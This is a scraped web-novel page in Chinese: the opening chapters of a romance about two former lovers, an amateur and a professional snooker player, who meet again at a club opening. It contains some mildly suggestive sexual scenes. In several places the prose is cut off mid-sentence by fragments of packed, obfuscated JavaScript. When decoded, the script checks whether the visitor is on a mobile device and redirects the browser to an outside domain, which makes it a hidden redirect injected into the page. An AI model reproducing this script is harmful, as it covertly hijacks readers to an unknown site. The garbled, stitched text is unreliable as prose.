《千里江陵》 1. 第001章 《千里江陵》 文/秦小羊 2022年7月6日 凌晨两点半,台球室里空旷寂静。 收银员已经下班离开,只剩下江里和盛千陵在亮着灯的1号球台练球。 江里有点困,眼皮都耷拉了好几次,但还是一杆接一杆练习盛千陵教他的超强低杆。 白球出去又回来,像贪吃蛇一样,晃几圈,又慢慢回到预定的位置附近。 可盛千陵很不满意,一掌拍在江里击球时撅起的右臀上,嗓音里隐有火气:“离目标点位偏了五厘米!再练不好,别怪我把你拍肿!” 江里咬咬唇醒醒神,依旧保持着那个弯腰俯身击球的姿势,等待盛千陵帮他把球捡回来,重来一次。 又来一次,又偏五厘米。 盛千陵生气了,沉着眸子问:“是不是故意找打?” 说完又毫不留情地拍了一下江里挺翘的臀部。 打斯诺克时,人得弯腰趴在球台上,双腿打开,上半身与下半身需要维持在一个垂直的角度。 又因为重心需要放在右脚,免不了要翘起右臀,好让右肩、腰、右腿均匀受力。 江里个子高,趴伏的姿势倒是标准,可盛千陵教的内容,却完全不同于他从前的野路子打法。 好比一个写惯了狂草书法的人,让他一笔一划写字,反倒畏畏缩缩。 所以他的白球一次次偏离目标点位,盛千陵就一次次拍打他。 严师盛千陵真有点恼了:“别以为你这儿长得好看,我就舍不得打你。如果这次再打不准,我就让你长点教训。” 江里猜到是什么教训,困倦的眼皮颤了颤。 架杆的左手微微抖了抖,随即右手出杆,又来一次。 这一杆出去,超强低杆没拉出来,反而用力过猛,白球越弹越远,离预定的点差了十万八千里。 盛千陵终于气极,冷着一张脸,迈开大步走到收银台,将全场的监控线一拔,关掉了场内所有的照明灯。 门口两盏堪堪照明的应急灯亮起,江里站在漆黑的环境里,眸子里折射出一点微弱又兴奋的光。 盛千陵很快回来,将江里一推。 江里手中的球杆顺势而落,掉在球台上,一桌的小球七零八落四处旋转。 紧接着,江里扶着斯诺克桌弯腰趴下,去捞那支制作粗糙箭纹紊乱的小头杆。 黑暗里,他听到盛千陵一声冷笑。 窸窸窣窣的声音响起,午夜的球房里温度渐渐升高。 没一会儿,晴夜惊雷忽作,似有狂风急雨就要席卷而来。 门口的应急灯在某个瞬间突然上下晃动,来来回回,不知疲倦似的,让人头昏眼花。 江里只觉得全身都热,在心中抱怨这武汉的夏夜,竟热得这么嚣张。 他渴望谁能给他一杯冰水,又幻想能下长江去游个来回,好解了这浑身的火气。 过了好久好久。 江里迷蒙地仰起头,见那应急灯的光亮骤然发散,口干舌燥即将被纾解时,却听到身后那人哑着嗓子问:“里里,你是故意的,对不对?” 你是故意的,对不对? 故意的,对不对? 对不对? 江里心中大骇,一颗心脏像被突然拽起,又宛如极速失重,飞身沉进了深海里。世界骤静,在缺氧般的窒息中,他蓦然从睡梦中惊醒。 气喘吁吁,似死里逃生。 梦里那个人不肯放过他,反复问他是不是故意的,吓得他出了一身冷汗,心脏不住地悸动,需要依靠大口大口呼吸,才能在深海里获得一丝丝稀薄的氧气。 江里颤抖着去摸手机,按开开机键看了一眼时间,凌晨三点四十五分。 他又一次梦见了盛千陵。 又一次梦见六年前,他们在夜深人静时所做的那荒唐又艳情的一幕。 江里在黑暗中睁着眼,等着心中那道郁结渐渐平息。 他强迫自己放空大脑,什么也不要想,这样才能稍微好过一些。 直到心梗得不那么厉害了,才打开手机,翻出短视频APP,从收藏夹里调出一堆斯诺克视频,眯着眼睛开始观看。 每当从有盛千陵的梦中惊醒,他就知道自己再难入睡。 不如看看视频。 但今日却有些反常。 到早上八点钟,江里想起床的时候,莫名又来了一阵令人安心的睡意。 不过两分钟,呼吸就变得绵长均匀。 最后还是被一阵急促不停歇的电话铃声叫醒的。 江里伸手捞过电话,懒洋洋地接听:“喂……” 电话那头传来一个男人的声音:“小江,怎么还没来?我这开业活动都快开始了。” 江里清醒得很慢。意识悠悠转了几圈,目光才渐渐明晰。 “啊,卓哥,我马上就起,马上过来。” 说完扔下手机,飞快地开始穿衣服。 卓哥名叫卓云峰,四十多岁,是个长着络腮胡子的男人。三年前同妻子一起回到妻子的老家江陵县,和江里在一场小型斯诺克比赛中相识。 今日卓云峰的斯诺克俱乐部开业,邀请江里去暖场,和一位神秘的嘉宾进行球技切磋。 十一点差五分,江里叼着一颗徐福记甜橙味棒棒糖,来到欢乐大厦三楼。 云峰斯诺克俱乐部就在这里。 一出电梯,便看到姹紫嫣红的开业花篮摆满了整个过道。 半人高的竹篮框,里面盛着艳丽的花朵。一片娇嫩,十分喜庆。 花篮两端都贴着写满赠语的红色飘带,赠语几乎都写的是“XXX恭贺云峰斯诺克俱乐部盛大开业”,这个“XXX”要么是人名,要么是公司名或者其他的店铺名。 看得出老板卓云峰人脉很广。 江里随意一扫,没太过心。 只将棒棒糖由左换到右边口腔,继续吮着那股甜腻的味道,走向1号球台。 新店开业,来的人挺多。 三十张球台除了1号桌,已尽数亮灯开台。 这些斯诺克发烧友一方面是来试新台的打感,另一方面也是出于好奇,好奇老板悬挂在欢乐大厦楼下的巨幅宣传海报里,那个神秘嘉宾会是谁。 虽然料到不可能是奥沙利文或者特鲁姆普这样的重磅级职业选手,但大家都猜测这位嘉宾咖位不低,起码是拿过大师赛冠军的人。 江里步履闲散地走到1号球台边,见老板卓云峰正在打电话。 两人视线相对,江里挑挑眼角,咬着糖棍露出白净的牙齿笑笑,就算是打了招呼。 卓云峰面色严肃,没有精力招呼江里,江里就自己在球台旁的长沙发上坐下来。 转头一看,见到1号球台附近有一面与墙等高的镜子,江里蓦地见到自己英俊白皙的脸。 他摇摇头,小声地叹气:“这么帅,会不会惊动联合国啊……” …… 也难怪他自恋。 他身材好,长得高高瘦瘦,无论穿什么,都像只行走的衣架。背又薄,腿又长,虽过了二十四周岁,可少年感满满,总让一起打球的球友误会他还不到二十。 江里回过头,听到卓云峰清晰的声音:“已经接到了是么?那行行行,从沙市机场到中兴路只要四十分钟,那我这边先安排会员们试打一场,等千陵一会儿……” 江里心里一惊。 似乎听到了某个不能言说又不敢确定的名字。 几秒失神,又觉得是自己听错了。 怎么……可能呢? 江里再回头时,见卓云峰匆匆往前台那边去了。 两分钟后,店内响起前台主管的声音:“亲爱的朋友们大家好,欢迎大家光临云峰俱乐部,今日开业大酬宾,充值3000元以上不仅可以办理白金卡终身享受五折优惠,还能获得抽奖机会……我们将会从白金卡会员中抽出两位,优先试用1号球台,这张球台与世锦赛同等规格……” 江里坐着没动,他就没打算充值。 原因很简单。 没钱。 不过其他爱好者们倒是十分踊跃,听了广播就跑来排队,吵着闹着要多充几千免抽奖直接内定,恨不得为了争抢名额大打出手。 卓云峰乐于见此,一直笑着安抚客人们,一边同他们笑谈。 县球的斯诺克圈子不大,来回就是这些人,相互之间早已混了脸熟,倒不至于真的闹起来。 不过是故意搞搞气氛罢了。 江里静默地斜坐在沙发上,有一搭没一搭啃着糖。 过了十分钟,广播声又响起,介绍了两位获得1号台第一次体验资格的会员名字。 江里也不挪窝,长腿一伸,掀起眼皮,慵懒地看着。 1号球台边很快围了一圈人,站在球手外围的合适距离。有几个同江里和卓云峰熟悉的,直接就坐到了沙发上准备观战。 江里盯着那两位充值最多的会员,看到他们开始对杆。 都是业余选手,准度和技巧都算不上出挑。 高杆右塞开球,开启了平平无奇的一局球。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875175|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >中途,穿灰色西裤那位会员架加长杆弯腰击球时,另一位会员调侃他:“老徐,你这屁股,是不是翘得太高了?” 江里目光挪过去,果然见到人称老徐的那个选手裤子紧绷,露出浑圆的臀部,十分性感。 接着,有熟悉他们的人打趣道:“别人都争江陵第一杆,老徐这是只想当江陵第一臀啊……” 江里却忍不住腹诽一句:“这算什么,我的臀才是——” 当他意识到自己想到了什么时,心里的声音骤然停下。 六年前,有一个人曾经对他讲:“打了这么多年球,一直以为我只要打球就能心如止水。结果发现自己没法和你对杆。” 江里问:“为什么?” 那人回答:“你的臀型太好看,我总是忍不住分心。” 江里:“……” 江里的腿很瘦,臀部却饱满圆润。尤其趴伏打球时,愈发将腰臀曲线完美呈现。 那人总说他太勾人,于是只肯站在他的对面,教他那些正儿八经的学院派打法。可又总忍不住多瞧他几眼,仿佛只要看一看,便能飨足。 就连在梦里,那人也总是拍打他那儿,还…… 不能再回想。 会发病,会失控。 江里用力舔一口那支甜橙味棒棒糖,往沙发背一靠,拿手掌覆盖住了眼睛,强迫自己把脑海里浮现的人影赶出去。 两位会员的试杆终于平淡地结束。 理球师开始迅速收球刷台,并将计分器上的数字清零。 卓云峰又接了个电话,顿时喜上眉悄,一圈络腮胡子都看着来了精神,根根透着激动。 他春风得意地往前台走一圈,于是,前台又响起了广播声。 “尊敬的各位会员朋友们大家好,欢迎大家光临云峰俱乐部,今天我们有请到了一位重量级的嘉宾,这位嘉宾是一位在役的职业球手,曾获得温布利大师赛冠军,也是有史以来最年轻的英锦赛冠军获得者,他——” 广播声清晰地传遍俱乐部每个角落。 声音流畅,一丝杂音也没有。 会员们兴致勃勃停下手中的动作,不约而同听着这即将揭开谜底般的播报。 当他们听到广播里的这几句介绍时,个个双眼放光来了精神,仿佛早起排队等球台、又充值高价会员都值得了。 却也有人,忽然走了神,失了魂。 恍惚间,江里感觉自己听不见任何声音了。 他的心跳在听到“最年轻的英锦赛冠军获得者”时骤然跳停,灵魂仿佛出了窍,一切感知尽数消弥,世界成了白茫茫的一片。 有那么一瞬间,他感觉自己像一条濒临死亡的鱼,被遗弃在无垠的干涸沙滩上,被日光炙烤,却迟迟等不到翻卷过来的海浪。 他又快死了。 他想。 许久以后,他的身体终于慢慢回温。 原因是耳旁传来一道关切的声音:“小江?怎么了这是,睡着了?” 江里的手掌还搭覆在眼睛上。他缓慢地挪开手,睁开双眼适应了一下俱乐部里的光线,佯装无意睡着,抱歉地笑了笑。 随后慢慢起身。 卓云峰说:“千陵已经到了,你准备一下上场。” 江里用力吮了一口棒棒糖,却发现糖球已化完,嘴里只剩下了一根橘色的塑料小棍儿。 于是他咬着小棍笑一笑,露出一口珍珠白的牙,又伸手从运动裤兜里掏出一根新的同口味棒棒糖来。 在撕糖纸的时候,他余光瞧见有道颀长的身影朝他走来。 江里动作未停,脸上漾起惯有的笑容,然后抬头。 他平静地说:“你好。” 一身正装的盛千陵在江里面前站定。 他穿着白衬衫配黑色马甲,下搭一条西装裤。这是斯诺克职业选手在比赛时最常见的打扮,马夹袖口宽松,胸前会贴上国旗和赞助商LOGO。 但盛千陵今日是来给教练的老朋友捧场,没佩戴那些繁复的肩章胸牌,只在衬衣领口处系了领结,看起来温柔又绅士。 从北京到荆州,相隔千里,却只飞行了两小时又三十五分钟。 他竟不知道,江里与他,只隔了两小时又三十五分钟的距离。 盛千陵讳莫如深的目光落在江里白皙的脸上。 继而,目光朝下,无言地盯着江里叼着的那支糖棍儿看了两眼。 时光不忍干扰故人重逢,悄悄停驻半晌。 好一会儿后,盛千陵轻轻开口—— “里里,好久不见。” 2. 第002章 因为知名职业球手的到来,云峰俱乐部愈发热闹起来。 先前占了台的客人们纷纷围到1号台附近,还有不少听到消息的业余爱好者们先后往这儿赶。 市电视台体育频道、县电视台综合频道的记者,还有卓云峰请来的自媒体们都已经就位,他们架好长枪短炮高清手机,准备拍摄1号球台上,拿过大奖的职业球手与当地斯诺克爱好者的对杆互动。 卓云峰就站在江里和盛千陵身边,正好听到了盛千陵的话。 他一愣,好奇地问:“你们……认识?” 江里和盛千陵不约而同一起回答。 江里语速很快,带着一丝极力隐藏的慌乱:“以前见过,打过球。” 盛千陵却意有所指:“我们以前,关系很好。” 江里:“……” 两人的声音交织在一起,又因现场围观人多声音嘈杂,卓云峰没能完全听清他们的话。 他并不在意两人说了什么,只兴致昂扬把头一抬,朝球台一头正在拍摄的众人说:“接下来是我们俱乐部今天开业的重头戏!站在我左手边这一位——” 卓云峰用手掌朝盛千陵指一指,又道:“相信大家都不陌生,这位是斯诺克职业选手盛千陵,七岁开始打球,十一岁获得亚洲大师邀请赛亚军,十八岁正式成为职业球手,二十岁拿下世青赛冠军,二十一岁拿下斯诺克英锦赛冠军,二十二岁拿下温布利大师赛冠军,他是中国的骄傲,也是我们整个台球行业的骄傲……” 盛千陵向现场众人颔首致意,场内旋即响起热烈的掌声。 卓云峰又开始介绍江里,他说:“江陵县爱好打斯诺克的朋友们对江里应该不陌生,他一直位居江陵县各大业余斯诺克比赛的第一名,打法嚣张狂野,准度惊人,号称‘只要有下就能下’,极具观赏性,今天同职业选手对杆,会擦出什么样的火花呢?敬请大家期待。” 卓云峰说完,略一欠身,退出球台附近,好将完整的打球空间留给江里和盛千陵。 江里一直挺平静,看向镜头时,耍宝一样挥挥手,还咬着糖棍露出一个招牌的痞帅笑容。 他没有提前准备装备,只是随手从附近一个放满公用球杆的杆筒里抽了一支皮头看得过去的小头杆,弯腰做了个试手感的动作。 弯腰的时候,发现额前的碎发长了些,又将球杆靠在球台边,从运动裤裤兜里摸出一根细小的黑色小皮筋来,三两下给自己扎了个苹果头。 白皙的额头被全部露出,更显得他唇红齿白,帅气迷人。 尤其他爱挑着眼自恋痞笑,引得场内有不少女玩家看得双目含星,兀自羞赧。 相比之下,盛千陵就显得严谨许多。 他容颜似玉,英气与清隽并存,但不苟言笑。迈着一双长腿,默默将自己的高档杆盒摆在一边的茶几上,取出两截球杆旋拧在一起,又拿出一条蓝色的防尘擦杆布,自皮头处开始自上而下擦拭。 十分专业,也十分养眼。 记者们许是被这点儿动作迷住,又或者是因为他过分优越精致的外表,飞快拍了不少照片。 可盛千陵本人瞧见江里挑选公杆、扎苹果头,眸光却更深邃晦暗了些,仿佛海面的光线落下,海水渐渐幽深。 卓云峰安排的计分员已经上场。 桌面已完全按照斯诺克的规则摆放好十五颗红球和六颗彩球。 江里站在球台边,边擦巧粉边等待上场。可是盛千陵却走到他面前,当众对他伸出了手。 是要赛前握手的意思。 江里:“……” 他在心里想,职业选手真是臭讲究。 打个暖场局,还非整得像打职业赛一样,绅士地先握个手。 但众目睽睽下,江里也没法拒绝,只好把手递过去,随意放进盛千陵掌心,打算一触即离。 盛千陵却忽然发力,抓着江里的手不放,用只有他能听到的声音喊他:“里里……” 里半天又没里出个名堂来,好像憋了六年的话,都藏在这一声专属称呼里了。 江里用力咬着棒棒糖,咬得腮帮子都鼓了起来。他不着痕迹抽回手,提高声线道:“盛老师,您先开球。” 盛千陵心一颤,一种茫然又空洞的感觉兜头而下。 但他很快掩饰好自己的情绪,点头说好。 六年前,江里第一次见他时,也是这样称呼他。 盛老师。 不远不近,带着生疏和几分狡黠的调侃。 如今久别重逢,又这样称呼,倒不再有调侃,只有泾渭分明的疏远罢了。 盛千陵的目光从江里脸上掠过,随后弯腰俯身,摆出舒展的动作,推了个高杆强塞。 白球很快轻盈地弹回来,离目标的红球相距甚远。 这是很标准的职业球手的打法。 江里却含着棒棒糖,露齿笑笑,露出少年般顽劣痞坏的一面。 他提杆上阵,才不管什么高低中加塞杆法,瞄准一颗红球,就大力平杆地推了出去。 顿时,桌面十五颗红球像天女散花似的,纷纷扬扬四处乱撞,宛如一桌泛苦的红豆被打翻。 盛千陵记忆里的江里就是这样,不顾杆法,从不防守,只管准度。 所以总是打得没有章法,拼的是天赋般的进球率。 可他也记得,他曾教江里练杆法,练过无数个难以入眠的夜。记得最后一次见江里,他的杆法已经无限趋近于职业选手。 可没想到,到如今。 又都回去了。 盛千陵看了一眼桌面,看到一个挺好的机会。但故意没有进球,将白球推向一堆红球中间。 他想看看,江里的准度是不是一如当年那样,狂妄如风卷残云。 旁观者们自然理解成这是职业选手的谦让与绅士,并未觉得奇怪。 而江里果然抓住这个机会,上场就开始连杆。 他穿着黑色宽松短袖,左边胸口有一段模仿心跳的白色曲线图。短袖里套了一件白色打底衫,在黑色领口和两边袖口露出一截反差明显的白。 因为扎着一个苹果头,五官清俊完美,尤其是红唇不染自润,帅得清清爽爽夺人目光。 他一直趴着,一颗红一颗彩,在令人瞠目的准度下,一杆打出了106分,获得大比分优势。 盛千陵一直注视着江里打球,目光渐渐落到他的臀部。 江里穿着一条白色的宽松棉质运动裤,腰间用于调整腰围大小的白色束绳未系,大剌剌垂在裤前。弯腰摆出击球姿势时,白色运动裤被撑平,展露出浑圆挺翘又勾人心魄的臀部。 那里很软很嫩,拍一拍就会红。 而且…… 盛千陵惊觉自己想得太深而赫然回神时,发现全场所有人都在看着他。 尤其是卓云峰那询问的眼神格外直观。 盛千陵愣了一下,第一次在比赛时觉得如此心虚,生怕被人发现了他龌龊的心思,正欲开口时,江里把棒棒糖从口里拿出,用右手食指和中指夹着,像夹烟一样,又痞痞地拖长声调问:“盛老师,这局还打么。” 盛千陵这才反应过来全场安静的原因,顺势回答:“摆球吧。” 意思是这局认输了。 毕竟比分拉得太大,没有周旋的必要了。 江里冷哼一声,对盛千陵刚才的走神心知肚明。 他再次叼起糖,背过身等待理球师摆球时,才没忍住眼睫轻颤。 一个业余玩家在第一局就大比分赢了职业球手,让现场进入第一个小高潮。 旁边有认识江里的球友笑喊一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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球手休息用的沙发本来就挨在一起,中间只隔着一个黑色的茶几。 两人几乎是一同朝球台走过来。 盛千陵比江里高了近十公分,侧头时,瞥见江里眼角那颗颜色极淡的小痣。 江里装作浑然不觉,默默停下步子,想拉开和盛千陵的距离。 可是盛千陵也停下来了。 还挡在了他前面。 江里无奈抬头望去,与盛千陵四目相对。那双眼里似风起云涌,镶嵌着浓墨一样的情绪。 盛千陵扶着球杆,慢慢将头偏过一点点。 两秒后,江里听到他问:“里里,这局如果让你赢了,有没有什么奖励?” 江里:“……” 六年前盛千陵从来没有主动对江里说过这样的话。 反倒是江里常常打着打着,见自己赢不了时,就开始耍无赖。有时候故意在盛千陵视线直线上左右摇晃干扰他瞄点,有时候是突然发出一点儿声响来影响他出杆,但更多的时候,他会在盛千陵击球前,故作凶狠:“让我赢一盘行不行,别逼我跪下来求你。” 盛千陵就会说一句“受不起”,江里就会死皮赖脸追着说“那我给你一点儿奖励”。 还记得有一次奖励,江里做出了十分出格大胆的事。 宛如平地惊雷,又不亚于星球相撞。以至于长期坚持运动能彻夜打球的盛千陵,第一次感受到双腿发软。 时隔六年,听闻旧情人旧事重提,江里却淡淡的,扬唇笑了。 他晃了晃苹果头,目光清澈嗓音里充满戏谑,像在看一个无关紧要的人:“盛老师,您是职业大师,没必要掉价吧。” 3. 第003章 上午到达沙市机场时,卓云峰派了司机去接盛千陵。 在车上,盛千陵听司机简短转达了卓云峰的意思。 大致是要和一位斯诺克爱好者对杆打一场球,不能三比零横扫这位对手,但也不能让球让得太过明显。尽可能让这一场球具有观赏性,能最大激发观众热情自然是最好。 这也是邀请嘉宾的意义。 现在,盛千陵和江里一比一,前面两局,两人几乎都在各自秀准度,确实带动了现场的气氛。 可是最后一局,盛千陵不想这样打了。 因为,这样打实在太快,要不了十分钟,就能结束比赛。 江里上场时,很快感受到了盛千陵的变化。 盛千陵开球,用炉火纯青的杆法将白球拉回来,藏于下半台的半圆之后,一上来就给江里制造了一个很大的挑战。 江里转头看盛千陵一眼,不太明白他突然发狠折磨自己是什么意思。 毕竟,江里对障碍球的解球能力,是所有台球技能中最弱的一项。 但江里也没说什么,老老实实弯腰查看勾球线路。 找到一个合适的点,倒是收敛了几分狂妄,规规矩矩用很轻的力度推出白球。 白球先撞到了红球,算是解了这杆斯诺克。但是,白球停在了红球堆附近,且有一颗有极好的落袋机会。 意思是,只要盛千陵发起进攻,只要他手不滑球杆不断,这局球,他就稳赢。 但盛千陵没有这样做。 他依然用鬼才一般的杆法,将白球拉回,歇在某颗彩球后边儿,又给江里制造了一个难度升级的障碍球。 江里震惊地朝盛千陵看过去,见他目光沉静如潭水,突然洞悉了他的心思。 江里是进攻型选手,于是盛千陵决定用神级防守来摧毁他的意志。江里自知水平远远低于盛千陵,也预感到这一局,自己将会面临什么样的状况—— 会被吊打。 江里在心里骂了一句狗东西,又不得不上场。 但无论他怎么进攻,那白球就像是听从盛千陵的指令一样,总能完美地形成障碍球,且障碍还一杆比一杆难。 简直是要了他的命。 偏偏现场所有观众都看得很带劲,个个双眼放光。 有什么比让进攻型球手永远没有进攻机会更让人兴奋的呢。 江里知道盛千陵这斯文败类在想什么,无非就是故意折辱他,让他主动开口服软,或者不服软也行,说几句好听的也能过关。 以前每次作死惹到盛千陵,他就会在对杆中玩弄自己。 若是软软地叫一声“哥”,又或者亲他一下,他才会慢慢消气,然后摸摸江里的头。 可眼下这样的情形,江里自然不可能叫哥,也不可能亲盛千陵。 六年前,是他发消息说要分手,也是他一声不响就消失。 他不能因为一局球,就又跑去招惹犯贱。 但也不是没有解决办法。 只见下一秒,轮到江里上场击球的时候,他突然发力,故意犯规地将白球撞出来,又撞得一桌红球彩球四处哗啦啦乱跑,彻底破了球局。 这一招自杀式袭击,倒也勉强算得上釜底抽薪。 可这一招,却让盛千陵原本就晦暗的目光愈发沉了沉。 斯诺克是绅士运动。 享受斯诺克之人,向来心照不宣遵从某种不成文的规则,以示高雅与风度。 双方之间相互攻防相互斡旋,也是这项运动最大的乐趣之一。 像江里这样,不顾风度无畏规则,也要从盛千陵制造的陷阱里逃出,倒真有点像他当年说分手时干脆利落的风格。 六年前,盛千陵收到江里最后一条短信—— “我玩腻了,分手吧。” 这一轮的障碍球被解开,盛千陵不再杆杆防守。 轮到他上场时,倒是换了强攻风格,开始秀准度。 他提速不少,丝毫没有一位斯诺克大师在球场上那种信手拈来的从容不迫,反倒多了几分无法遮掩的轻狂不羁。 江里看一眼便知,他在模仿自己。 莫名的,江里感觉口腔中那丝苦涩来得更甚,伸手去捞茶几上的矿泉水,却发现瓶子早已空了。 又只得将手伸进裤兜,可发现早上走得急,只抓了两颗棒棒糖,早就在见到盛千陵那会儿吃光了。 江里:“……” 无奈之下,江里转头去看球台附近那面墙上的镜子。 镜子大概有两米宽,江里清晰看到自己的脸。可爱的苹果头,略显苍白的皮肤,渐渐淡了血色的嘴唇。 江里望着镜子里的自己,扯出一抹笑意,又对自己眨眨眼,在心里说:“还是很帅啊,帅得人神共愤,帅得鬼畜自刎,帅得……” 还没帅完,江里听到一阵掌声。 下意识回头一看,盛千陵已经打完了桌面所有的球,拿下了这一局比赛。 也就是说,他获得了这一场比赛的胜利。 现场的斯诺克爱好者们享受了这场视觉盛宴,几乎把场内变成了欢乐的海洋。 江里跟着人群鼓掌,把手拍得啪啪作响。 趁着众人纷乱嘈杂之时,他站起身来,拖着那支小破公杆往杆筒里一塞,又将头发上的小皮筋扯下,随意抓了几下头发,走向卓云峰。 在卓云峰面前站定,江里扯出一抹笑容,飞快地说:“卓哥,我有点事先下去一趟。” 卓云峰正要忙下一轮会员抽奖的事,没时间理江里,闻言点点头,又兀自忙去了。 江里艰难从人群中挤出,迈开大步往外走。 而这一边,盛千陵还没来得及整理自己的球杆,就见江里像阵风似的跑出去,心中猛地下沉,杆子也不管了,直接往茶几上一扔,跟着往门外跑去。 欢乐大厦三楼电梯口,江里疯狂按动下行键。 可是电梯在一楼,上来还需要一点儿时间。 就在这点儿时间里,盛千陵穿过俱乐部、越过走廊,脚步匆匆朝江里跑过来。 他向来冷静自持,无论在什么级别的大师赛上,都能风度翩翩又淡定自若。 可这短短的二十米,却叫他心生慌乱手心发凉。 他害怕江里又一次跑开,不声不响,从他的世界消失。 也就没有顾得上风度,在电梯刚好到达之时,伸手用力抓住了江里的手腕。 江里很瘦,手腕也细。 抓起来盈盈一握,触感却更冰凉。 盛千陵的眼底流露出一丝痛苦之色,用身体挡住渐关的电梯门,微微低头看着江里,喊他:“里里……” 江里努力挤出一个轻描淡写的的笑容,看着盛千陵的脸,认真问:“盛老师,有什么事?” 盛千陵长年训练,少见太阳,皮肤比常人更白净。眉锋很锐利,双眼漆黑,眸光流溢。鼻子很高很挺,线条也流畅,比少年时代多了几分冷硬。所幸唇形完美唇线上扬,给这张脸增添了不少柔和。 乍一看,就会觉得他像个骄矜的贵族或者绅士。 可仔细一看,却发现这位绅士此时目光沉沉压抑,又因身高使然,带给人强烈的压迫感。 江里缩了缩脖子。 偷偷迈步想逃,却又被盛千陵用力抓了一下。 电梯再一次合上,撞到盛千陵背上,启动保护机制,又弹开。 江里只好又笑问一次:“盛老师?” 盛千陵看似顿了一下,表情不太自然地转于平静,眼神重新变得明清。 他放开手,轻声说:“抱歉,刚才打完球,没有握手。” 江里:“……” 他简直不知道盛千陵现在是有什么坏毛病,开局前要握手,结束时也要握手。 没握上的话,还要追到电梯口这儿来,强行握一个。 江里实在没有办法,又想尽快离开这儿,只得打起精神来,伸过右手,说:“那,握吧。” 盛千陵将江里的手握住,晃了晃,却没松开。 江里只觉得喉间那道苦味更甚,急着回去吃糖,又听着电梯已经开始报警,无奈地说:“盛老师,你这样别人会以为我们在偷情。” 江里从少年时代起就骚话连天,盛千陵竟闻言并没有很惊讶。 反倒江里自己话一出口,却有些悔意浮上来。 不该逾矩失了分寸的。 他抬头看着盛千陵的眼睛,撞见一汪深不见底的情绪。 等了两秒,他才听到盛千陵低声说:“江里,这几年,过得好不好?” 连名带姓,没再叫“里里”。 没有质问当年要分手的原因,没有迁怒嘲讽,也没有拉着他回忆过去,只问他过得好不好。 江里心中骤软,觉得自己再不走,可能要折在这儿。 于是,他又痞痞地笑起来:“好得很啊,你看我,多少少女的梦中情人。” 盛千陵听了,只是盯着他,没再追问。 江里绞尽脑汁想办法想走时,俱乐部门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江里白他一眼,在床边大剌剌坐下,冷笑道:“祸害遗千年,你心里没点逼数?” 江海军也不恼,也可能因为他的眼睛已经没有办法怒视旁人。 他说:“老子当年怎么就捡了你这白眼狼,养不亲,还害得老子一辈子没结婚。” 江里依然不甘示弱,回敬一句:“你捡我时都三十好几了,你个老光棍,自己找不到女人怪我头上?” 江海军摇摇头,想不出反驳的话。 倒是江里又说:“想打我就好好配合疗养,能走路了就能打我了。我到时候站着不跑,随你打。” 江海军懒得理江里,眼睛一闭,睡觉了。 江里从疗养院出来,又骑电动车去了店里。 他开着一家男装店,店面不大,但生意一直不错。店里有个售货员姚婷,平时卖衣服收钱都是她,进货搬运这些体力活,都是江里自己来。 下午正好来了一批货,江里一个人拆包分类,将衣服整齐地摞到一起,对姚婷说:“婷姐,辛苦你熨一下。” 姚婷三十岁刚出头,在江里这儿打工有两年多,和江里一直配合得挺好。 她点点头,又去招呼客人。 江里刚刚忙完,手机忽然响起来。 平时有人找他,大多用微信发消息,倒是少有人打电话。他掏出手机一看,是个陌生号码,还是北京的。 他猜到是谁,隐隐不想接听。 可那铃声催魂夺命似的不肯停歇,吵到了店里的客人,引来好奇的观望。 他只好滑锁接听,却是卓云峰的声音响起来:“小江,你是在店里还是在家里呢?” 江里预感不太对劲,扯谎道:“在家呢。” 果然,下一秒,卓云峰就对旁边的人说:“小江在家,那你们车过去时捎他一截,好吧。” 远远传来一声“好”。 紧接着,江里又听到卓云峰对他说:“小江,今天你辛苦了,我们几个人聚个餐,都是你熟悉的人。在九阳大酒店,一会儿千陵来接你,地址我告诉他了,你在门口等着。” “我不——”江里话没说完,那头却换了一个人的声音。 那人嗓音温润,又带着些难以言喻的情绪—— “里里,别跑,等我来接你。” 4. 第004章 这句说完,两人心思各异,不约而同沉默了半分钟。 只听见听筒里传来的电流声,还有街上遥远的车鸣声响。 江里突然想到什么,立即把电话一挂,站起来往外跑,边跑边说:“婷姐,我有事先回去了!” 姚婷在给刚才那位顾客打包两套春装,闻言平静地点头。 江里跨上电动车,飞快朝自己家方向赶。 欢乐大厦、小江男装、江里家,这三个地方在地图上看起来就像一个等边三角形,相互之间隔得都不远。 盛千陵开车,速度要比江里的电动车快。 既然要去接他,很有可能会先到他家。 江里骑着电动车穿梭在人行道里,全速往前冲。 就这么骑了七八分钟,他回到家门口,把电动车一停,转头看一眼,院子外没有汽车,稍微松一口气。 但也不敢停下脚步。 他很快进了堂屋,转身跑进左手边自己的卧室,飞快把床上枕头边那件黑色的T恤一收,把一个小挂坠塞进枕头底下,又将床头柜上那满满一盒橘色糖棍塞进柜子里。 边塞边抬头看一眼,看见衣柜旁边的吊杆器和悬挂在那儿的波茨杆,心下赫然一凛,快速冲过去取下球杆,拧开中间的旋钮,也胡乱地往柜子里塞。 来不及搭椅子去摘那枚吸贴在天花板上的吊杆器,江里听到院子里传来了汽车引擎声。 盛千陵到了。 门外,盛千陵仔细确认了一下卓云峰给的地址,是这儿没错,才开门下车。 借着天光,抬头遥看一眼这栋小楼的全貌。 江里住的,是中部农村最常见的那种房子。 防雨尖顶,波浪红瓦。两层楼,外面贴着白色的瓷砖。 